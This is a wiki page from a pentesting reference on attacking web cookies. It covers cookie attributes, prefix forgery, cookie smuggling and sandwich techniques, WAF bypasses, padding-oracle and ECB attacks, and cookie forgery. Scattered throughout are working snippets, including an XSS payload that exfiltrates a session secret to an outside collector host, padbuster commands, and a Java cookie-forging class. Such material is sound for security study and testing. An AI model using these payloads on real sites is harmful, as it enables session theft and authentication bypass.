overview.md (32443B)
1 --- 2 title: "Cookies Hacking" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/hacking-with-cookies/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/hacking-with-cookies/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Cookies Hacking 14 15 ## Cookie Attributes 16 17 Cookies come with several attributes that control their behavior in the user's browser. Here’s a rundown of these attributes in a more passive voice: 18 19 ### Expires and Max-Age 20 21 The expiry date of a cookie is determined by the `Expires` attribute. Conversely, the `Max-age` attribute defines the time in seconds until a cookie is deleted. **Opt for `Max-age` as it reflects more modern practices.** 22 23 ### Domain 24 25 The hosts to receive a cookie are specified by the `Domain` attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the `Domain` attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the `Domain` attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting `Domain=mozilla.org` makes cookies accessible on its subdomains like `developer.mozilla.org`. 26 27 ### Path 28 29 A specific URL path that must be present in the requested URL for the `Cookie` header to be sent is indicated by the `Path` attribute. This attribute considers the `/` character as a directory separator, allowing for matches in subdirectories as well. 30 31 ### Ordering Rules 32 33 When two cookies bear the same name, the one chosen for sending is based on: 34 35 - The cookie matching the longest path in the requested URL. 36 - The most recently set cookie if the paths are identical. 37 38 ### SameSite 39 40 - The `SameSite` attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings: 41 - **Strict**: Restricts the cookie from being sent on third-party requests. 42 - **Lax**: Allows the cookie to be sent with GET requests initiated by third-party websites. 43 - **None**: Permits the cookie to be sent from any third-party domain. 44 45 Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios. 46 47 | **Request Type** | **Example Code** | **Cookies Sent When** | 48 | ---------------- | ---------------------------------- | --------------------- | 49 | Link | \<a href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/hacking-with-cookies/...">\</a> | NotSet\*, Lax, None | 50 | Prerender | \<link rel="prerender" href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web"/> | NotSet\*, Lax, None | 51 | Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None | 52 | Form POST | \<form method="POST" action="..."> | NotSet\*, None | 53 | iframe | \<iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/hacking-with-cookies/...">\</iframe> | NotSet\*, None | 54 | AJAX | $.get("...") | NotSet\*, None | 55 | Image | \<img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/hacking-with-cookies/..."> | NotSet\*, None | 56 57 Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.<sup>[[15]](#references)</sup>\ 58 A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed. 59 60 **\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).<sup>[[16]](#references)</sup>\ 61 Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.** 62 63 ## Cookies Flags 64 65 ### HttpOnly 66 67 The `HttpOnly` flag prevents **client-side JavaScript** from reading the cookie through APIs such as `document.cookie`. 68 69 #### **Bypasses** 70 71 - If a page **returns cookies in the response body** (for example, a **phpinfo()** page), XSS may fetch that page and steal the reflected cookie despite `HttpOnly`.<sup>[[6]](#references)</sup><sup>[[17]](#references)</sup> 72 - This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**.<sup>[[5]](#references)</sup> 73 - This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2. 74 - Another way is the exploitation of zero/day vulnerabilities of the browsers. 75 - It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack: 76 77 78 [Cookie Jar Overflow](/hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow) 79 80 - It's possible to use [**Cookie Smuggling**](#cookie-smuggling) attack to exfiltrate these cookies 81 - If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it.<sup>[[7]](#references)</sup> Example XSS payload pattern: 82 83 ```javascript 84 // Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint --> 85 const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/; 86 fetch('/index.php?module=Touch&action=ws') 87 .then(r => r.text()) 88 .then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); }); 89 ``` 90 91 ### Secure 92 93 The request will **only** send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically **HTTPS**). 94 95 ## Cookies Prefixes 96 97 Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS. 98 99 For cookies prefixed with `__Host-`, several conditions must be met: 100 101 - They must be set with the `secure` flag. 102 - They must originate from a page secured by HTTPS. 103 - They are forbidden from specifying a domain, preventing their transmission to subdomains. 104 - The path for these cookies must be set to `/`. 105 106 It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation. 107 108 ### Overwriting cookies 109 110 One protection of `__Host-`-prefixed cookies is preventing subdomains from overwriting them, which mitigates [cookie tossing](/hacktricks/pentesting-web/hacking-with-cookies/cookie-tossing). The **Cookie Crumbles** research showed parser discrepancies that accepted lookalike cookie names—such as names with `=` at the beginning or at both ends—and let a backend treat them as the protected name.<sup>[[14]](#references)</sup><sup>[[18]](#references)</sup> 111 112 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%286%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 113 114 Or in PHP it was possible to add **other characters at the beginning** of the cookie name that were going to be **replaced by underscore** characters, allowing to overwrite `__HOST-` cookies: 115 116 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%287%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt="" width="373"><figcaption></figcaption></figure> 117 118 119 #### Unicode whitespace cookie-name smuggling (prefix forgery) 120 121 Abuse discrepancies between browser and server parsing by prepending a Unicode whitespace code point to the cookie name. The browser won’t consider the name to literally start with `__Host-`/`__Secure-`, so it allows setting from a subdomain. If the backend trims/normalizes leading Unicode whitespace on cookie keys, it will see the protected name and may overwrite the high-privilege cookie.<sup>[[8]](#references)</sup> 122 123 - PoC from a subdomain that can set parent-domain cookies: 124 125 ```javascript 126 document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`; 127 ``` 128 129 - Typical backend behavior that enables the issue: 130 - Frameworks that trim/normalize cookie keys. In Django, Python’s `str.strip()` removes a wide range of Unicode whitespace code points, causing the name to normalize to `__Host-name`. 131 - Commonly trimmed code points include: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288). 132 - Many frameworks resolve duplicate cookie names as “last wins”, so the attacker-controlled normalized cookie value overwrites the legitimate one. 133 134 - Browser differences matter: 135 - Safari blocks multibyte Unicode whitespace in cookie names (e.g., rejects U+2000) but still permits single-byte U+0085 and U+00A0, which many backends trim. Cross-test across browsers. 136 137 - Impact: Enables overwriting of `__Host-`/`__Secure-` cookies from less-trusted contexts (subdomains), which can lead to XSS (if reflected), CSRF token override, and session fixation. 138 139 - On-the-wire vs server view example (U+2000 present in name): 140 141 ```text 142 Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>; 143 ``` 144 145 Many backends split/parse and then trim, resulting in the normalized `__Host-name` taking the attacker’s value. 146 147 #### Legacy `$Version=1` cookie splitting on Java backends (prefix bypass) 148 149 Some Java stacks (e.g., Tomcat/Jetty-style) still enable legacy RFC 2109/2965 parsing when the `Cookie` header starts with `$Version=1`. This can cause the server to reinterpret a single cookie string as multiple logical cookies and accept a forged `__Host-` entry that was originally set from a subdomain or even over insecure origin.<sup>[[8]](#references)</sup> 150 151 - PoC forcing legacy parsing: 152 153 ```javascript 154 document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`; 155 ``` 156 157 - Why it works: 158 - Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of `__Host-`/`__Secure-` prefix guarantees. 159 160 - Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics. 161 162 #### Duplicate-name last-wins overwrite primitive 163 164 When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two `__Host-*` names, the attacker-controlled one will typically win.<sup>[[8]](#references)</sup> 165 166 #### Detection and tooling 167 168 Use Burp Suite to probe for these conditions: 169 170 - Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed. 171 - Send `$Version=1` first in the Cookie header and check if the backend performs legacy splitting/normalization. 172 - Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name. 173 - Burp Custom Action to automate this: [CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)<sup>[[9]](#references)</sup> 174 175 > Tip: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass. 176 177 ## Cookies Attacks 178 179 If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable. 180 181 ### Decoding and Manipulating Cookies 182 183 Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookie's content and impersonate other users by encoding their modified data back into the cookie. 184 185 ### Session Hijacking 186 187 This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user. 188 189 ### Session Fixation 190 191 In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker. 192 193 If you found XSS on a subdomain or control a subdomain, review the related cookie-tossing technique: 194 195 196 [Cookie Tossing](/hacktricks/pentesting-web/hacking-with-cookies/cookie-tossing) 197 198 ### Session Donation 199 200 Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account. 201 202 For session-donation variants involving a controlled or XSS-affected subdomain, see the cookie-tossing technique below: 203 204 205 [Cookie Tossing](/hacktricks/pentesting-web/hacking-with-cookies/cookie-tossing) 206 207 ### [JWT Cookies](/hacktricks/pentesting-web/hacking-jwt-json-web-tokens) 208 209 Click on the previous link to access a page explaining possible flaws in JWT. 210 211 JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended. 212 213 ### Cross-Site Request Forgery (CSRF) 214 215 This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site. 216 217 ### Empty Cookies 218 219 (Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:<sup>[[2]](#references)</sup> 220 221 ```javascript 222 document.cookie = "a=v1" 223 document.cookie = "=test value;" // Setting an empty named cookie 224 document.cookie = "b=v2" 225 ``` 226 227 The result in the sent cookie header is `a=v1; test value; b=v2;`. Intriguingly, this allows for the manipulation of cookies if an empty name cookie is set, potentially controlling other cookies by setting the empty cookie to a specific value: 228 229 ```javascript 230 function setCookie(name, value) { 231 document.cookie = `${name}=${value}` 232 } 233 234 setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value 235 ``` 236 237 This leads to the browser sending a cookie header interpreted by every web server as a cookie named `a` with a value `b`. 238 239 #### Chrome Bug: Unicode Surrogate Codepoint Issue 240 241 In Chrome, if a Unicode surrogate codepoint is part of a set cookie, `document.cookie` becomes corrupted, returning an empty string subsequently: 242 243 ```javascript 244 document.cookie = "\ud800=meep" 245 ``` 246 247 This results in `document.cookie` outputting an empty string, indicating permanent corruption.<sup>[[2]](#references)</sup> 248 249 #### Cookie Smuggling Due to Parsing Issues 250 251 (Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:<sup>[[2]](#references)</sup> 252 253 ```text 254 RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; 255 ``` 256 257 #### Cookie Injection Vulnerabilities 258 259 (Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:<sup>[[2]](#references)</sup> 260 261 - Undertow expects a new cookie immediately after a quoted value without a semicolon. 262 - Zope looks for a comma to start parsing the next cookie. 263 - Python's cookie classes start parsing on a space character. 264 265 This vulnerability is particularly dangerous in web applications relying on cookie-based CSRF protection, as it allows attackers to inject spoofed CSRF-token cookies, potentially bypassing security measures. The issue is exacerbated by Python's handling of duplicate cookie names, where the last occurrence overrides earlier ones. It also raises concerns for `__Secure-` and `__Host-` cookies in insecure contexts and could lead to authorization bypasses when cookies are passed to back-end servers susceptible to spoofing. 266 267 ### Cookies $version 268 269 #### WAF Bypass 270 271 According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), it might be possible to use the cookie attribute **`$Version=1`** to make the backend use an old logic to parse the cookie due to the **RFC2109**. Moreover, other values just as **`$Domain`** and **`$Path`** can be used to modify the behaviour of the backend with the cookie.<sup>[[4]](#references)</sup> 272 273 #### Cookie Sandwich Attack 274 275 According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) it's possible to use the cookie sandwich technique to steal HttpOnly cookies.<sup>[[13]](#references)</sup> These are the requirements and steps: 276 277 - Find a place were an apparent useless **cookie is refected in the response** 278 - **Create a cookie called `$Version`** with value `1` (ou can do this in a XSS attack from JS) with a more specific path so it gets the initial possition (some frameworks like python don’t need this step) 279 - **Create the cookie that is reflected** with a value that leaves an **open double quotes** and with a specific path so it’s positioned in the cookie db after the previous one (`$Version`) 280 - Then, the legit cookie will go next in the order 281 - **Create a dummy cookie that closes the double quotse** inside its value 282 283 This way the victim cookie gets trapped inside the new cookie version 1 and will get reflected whenever it’s reflected. 284 e.g. from the post: 285 286 ```javascript 287 document.cookie = `$Version=1;`; 288 document.cookie = `param1="start`; 289 // any cookies inside the sandwich will be placed into param1 value server-side 290 document.cookie = `param2=end";`; 291 ``` 292 293 ### WAF bypasses 294 295 #### Cookies $version 296 297 Check the previous section. 298 299 #### Bypassing value analysis with quoted-string encoding 300 301 This parsing indicate to unescape escaped values inside the cookies, so "\a" becomes "a". This can be useful to bypass WAFS as: 302 303 - `eval('test') => forbidden` 304 - `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed` 305 306 #### Bypassing cookie-name blocklists 307 308 In the RFC2109 it's indicated that a **comma can be used as a separator between cookie values**. And also it's possible to add **spaces and tabs before an after the equal sign**. Therefore a cookie like `$Version=1; foo=bar, abc = qux` doesn't generate the cookie `"foo":"bar, admin = qux"` but the cookies `foo":"bar"` and `"admin":"qux"`. Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign. 309 310 #### Bypassing value analysis with cookie splitting 311 312 Finally different backdoors would join in a string different cookies passed in different cookie headers like in: 313 314 ```text 315 GET / HTTP/1.1 316 Host: example.com 317 Cookie: param1=value1; 318 Cookie: param2=value2; 319 ``` 320 321 Which could allow to bypass a WAF like in this example: 322 323 ```text 324 Cookie: name=eval('test// 325 Cookie: comment') 326 327 Resulting cookie: name=eval('test//, comment') => allowed 328 ``` 329 330 ### Extra Vulnerable Cookies Checks 331 332 #### **Basic checks** 333 334 - The **cookie** is the **same** every time you **login**. 335 - Log out and try to use the same cookie. 336 - Try to log in with 2 devices (or browsers) to the same account using the same cookie. 337 - Check if the cookie has any information in it and try to modify it 338 - Try to create several accounts with almost the same username and check if you can see similarities. 339 - Check the "**remember me**" option if it exists to see how it works. If it exists and could be vulnerable, always use the cookie of **remember me** without any other cookie. 340 - Check if the previous cookie works even after you change the password. 341 342 #### **Advanced cookies attacks** 343 344 If the cookie remains the same (or almost) when you log in, this probably means that the cookie is related to some field of your account (probably the username). Then you can: 345 346 - Try to create a lot of **accounts** with usernames very **similar** and try to **guess** how the algorithm is working. 347 - Try to **bruteforce the username**. If the cookie saves only as an authentication method for your username, then you can create an account with username "**Bmin**" and **bruteforce** every single **bit** of your cookie because one of the cookies that you will try will the one belonging to "**admin**". 348 - Try **Padding** **Oracle** (you can decrypt the content of the cookie). Use **padbuster**. 349 350 **Padding Oracle - Padbuster examples** 351 352 ```bash 353 padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]> 354 # When cookies and regular Base64 355 padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 356 357 # If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example: 358 padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 359 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 360 ``` 361 362 Padbuster will make several attempts and will ask you which condition is the error condition (the one that is not valid). 363 364 Then it will start decrypting the cookie (it may take several minutes) 365 366 If the attack has been successfully performed, then you could try to encrypt a string of your choice. For example, if you would want to **encrypt** **user=administrator** 367 368 ```text 369 padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator 370 ``` 371 372 This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside. 373 374 **CBC-MAC** 375 376 Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable. 377 378 **The attack** 379 380 1. Get the signature of username **administ** = **t** 381 2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'** 382 3. Set in the cookie the value **administrator+t'** (**t'** will be a valid signature of **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** 383 384 **ECB** 385 386 If the cookie is encrypted using ECB it could be vulnerable.\ 387 When you log in the cookie that you receive has to be always the same. 388 389 **How to detect and attack:** 390 391 Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie 392 393 Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted). 394 395 There should be a repeated pattern at the cipher's block size. After identifying the ciphertext blocks for controlled `a` characters, test whether removing or rearranging whole blocks can produce a cookie whose decoded username becomes `admin`.<sup>[[3]](#references)</sup> 396 397 ### Static-key cookie forgery (symmetric encryption of predictable IDs) 398 399 Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.<sup>[[1]](#references)</sup> 400 401 How to test/forge 402 - Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID. 403 - Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex. 404 - Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin). 405 - Set the forged value directly as the cookie and browse; no credentials are needed. 406 407 <details> 408 <summary>Minimal Java PoC (IDEA + hex) used in the wild</summary> 409 410 ```java 411 import cryptix.provider.cipher.IDEA; 412 import cryptix.provider.key.IDEAKeyGenerator; 413 import cryptix.util.core.Hex; 414 import java.security.Key; 415 import java.security.KeyException; 416 import java.io.UnsupportedEncodingException; 417 418 public class App { 419 private String ideaKey = "1234567890123456"; // example static key 420 421 public String encode(char[] plainArray) { return encode(new String(plainArray)); } 422 423 public String encode(String plain) { 424 IDEAKeyGenerator keygen = new IDEAKeyGenerator(); 425 IDEA encrypt = new IDEA(); 426 Key key; 427 try { 428 key = keygen.generateKey(this.ideaKey.getBytes()); 429 encrypt.initEncrypt(key); 430 } catch (KeyException e) { return null; } 431 if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) { 432 for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) { 433 plain = plain + " "; // space padding 434 } 435 } 436 byte[] encrypted = encrypt.update(plain.getBytes()); 437 return Hex.toString(encrypted); // cookie expects hex 438 } 439 440 public String decode(String chiffre) { 441 IDEAKeyGenerator keygen = new IDEAKeyGenerator(); 442 IDEA decrypt = new IDEA(); 443 Key key; 444 try { 445 key = keygen.generateKey(this.ideaKey.getBytes()); 446 decrypt.initDecrypt(key); 447 } catch (KeyException e) { return null; } 448 byte[] decrypted = decrypt.update(Hex.fromString(chiffre)); 449 try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; } 450 } 451 452 public void setKey(String key) { this.ideaKey = key; } 453 } 454 ``` 455 456 </details> 457 458 Mitigation: do not mint authentication cookies by encrypting predictable identifiers with a reusable key. Prefer server-side sessions or authenticated encryption/signatures with anti-replay properties. 459 460 ### Public-key cookie forgery when decryption is treated as authentication 461 462 Some products misuse asymmetric crypto for bearer cookies: they **encrypt** cookie contents with a certificate-related keypair and later treat **successful private-key decryption** as proof the cookie is authentic. If the plaintext is not protected with a **signature, MAC, or AEAD tag**, anyone who knows the **public key** can forge arbitrary cookies offline. 463 464 Typical exploitation pattern: 465 466 - Identify which cookie or POST parameter carries the auth blob. 467 - Check whether the server exposes the matching public key via **TLS certificate reuse**, **JWKS**, a downloadable certificate, or any other public trust store. 468 - Recreate the expected plaintext structure (user, role/domain, host ID, client OS/IP, timestamp, lifetime, etc.). 469 - Encrypt it with each candidate **public key**, encode it as expected, and replay it. If the server only checks that decryption succeeds and the fields parse, authentication is bypassed. 470 471 **GlobalProtect authentication override** is a practical example of this anti-pattern. When **authentication override cookies** are enabled, the portal/gateway accepts `portal-userauthcookie` or `portal-prelogonuserauthcookie` in a POST to `/ssl-vpn/login.esp`. If the certificate used for cookie encryption/decryption is also reused by the externally exposed HTTPS service, an unauthenticated attacker can retrieve the certificate chain over TLS, forge a cookie for any chosen identity, and submit it directly to the portal/gateway.<sup>[[10]](#references)</sup><sup>[[11]](#references)</sup> 472 473 Quick testing ideas:<sup>[[12]](#references)</sup> 474 475 ```bash 476 openssl s_client -connect <target>:443 -showcerts </dev/null 477 python3 forge_cookie.py --target <target> --context both --user admin 478 ``` 479 480 ## References 481 482 - [1] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/) 483 - [2] [Cookie bugs - original research on empty/malformed cookie parsing bugs](https://blog.ankursundara.com/cookie-bugs/) 484 - [3] [LinkedIn post](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) 485 - [4] [Bypassing WAFs with the phantom $Version cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie) 486 - [5] [seclists webappsec - Cross-Site Tracing (TRACE method cookie disclosure)](https://seclists.org/webappsec/2006/q2/181) 487 - [6] [Michal Spacek - Stealing session IDs with phpinfo() and how to stop it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it) 488 - [7] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) 489 - [8] [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) 490 - [9] [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda) 491 - [10] [Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability (CVE-2026-0257)](https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257) 492 - [11] [Palo Alto Networks advisory: CVE-2026-0257 PAN-OS: GlobalProtect Authentication Bypass Vulnerabilities](https://security.paloaltonetworks.com/CVE-2026-0257) 493 - [12] [Rapid7 PoC for CVE-2026-0257](https://github.com/sfewer-r7/CVE-2026-0257) 494 - [13] [PortSwigger Research - Stealing HttpOnly cookies with the Cookie Sandwich technique](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) 495 - [14] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (USENIX Security '23 paper)](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf) 496 - [15] [Same-Site Cookie Attribute – Prevent Cross-Site Request Forgery](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) 497 - [16] [Promiscuous cookies and their impending death via the SameSite policy](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/) 498 - [17] [Bypass HttpOnly via PHP info page](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/) 499 - [18] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (talk)](https://www.youtube.com/watch?v=F_wAzF4a7Xg)